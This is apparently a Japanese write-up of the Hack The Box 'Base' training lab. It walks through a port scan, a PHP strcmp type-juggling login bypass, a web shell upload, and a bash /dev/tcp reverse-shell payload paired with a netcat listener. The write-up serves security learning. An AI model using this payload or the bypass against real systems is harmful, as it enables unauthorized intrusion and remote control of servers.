Hack The Box (starting point #3) : Base
Hack The Boxのチュートリアルである「Base」を攻略したいと思う。
Walkthrough
初手、"nmap"コマンドでポートスキャンをかける。
すると、22番および80番ポートが開いていることがわかる。(タスク1)
Webページに飛び、ログインページを開く。(タスク2)
"/login"ディレクトリには、以下の3つのファイルがある。編集途中で切断されたと思われるSwapファイル(拡張子: .swp)がある。(タスク3,4)
"login.php.swp"を開いてみると、以下のような内容があり、strcmp関数で比較を行っていることがわかる。(タスク5)
文字列型で比較を行っているため、"password"変数を配列型にすると、strcmpはNULLを返し、"=="を使うことで厳密な比較(数値、型)を行わないため"NULL==0"となり、ユーザー名とパスワードを回避することができる。
以下の要領でBurpsuiteを用いて編集し、forwardする。
すると、ログインが成功する。
以下のようなシェルを乗っとるためのスクリプトを書き、先ほどのアップロードボタンからアップロードする。
これを行うことで、URLのパラメータを変えるだけで任意のコマンドを実行できるようになる。以下の画像では、下の方に"john"というユーザーが存在している事がわかる。(タスク7)
また以下の要領で、リバースシェルを獲得するためのペイロードをBurpsuiteを用いて、POSTメソッドで送る。
(1)リスナーを起動(ターミナルから操作)
(次のコマンドでリスナーを起動する) sudo nc -lvnp 443
(2)ペイロード作成
("cmd"パラメータを変更する) /bin/bash+-c+'bash+-i+>%26+/dev/tcp/IP_Address/443+0>%261'
すると、(1)のターミナルが以下のようになり、"config.php"が見つかる。(タスク8)
このターミナルからではユーザー"john"に昇格できなかったため、22番ポートのsshを利用する。(User Flag)
調べるとユーザー"john"は、"find"コマンドを利用できる事が分かるので、以下のようにするとroot権限を得られる。(タスク9,10,Root Flag)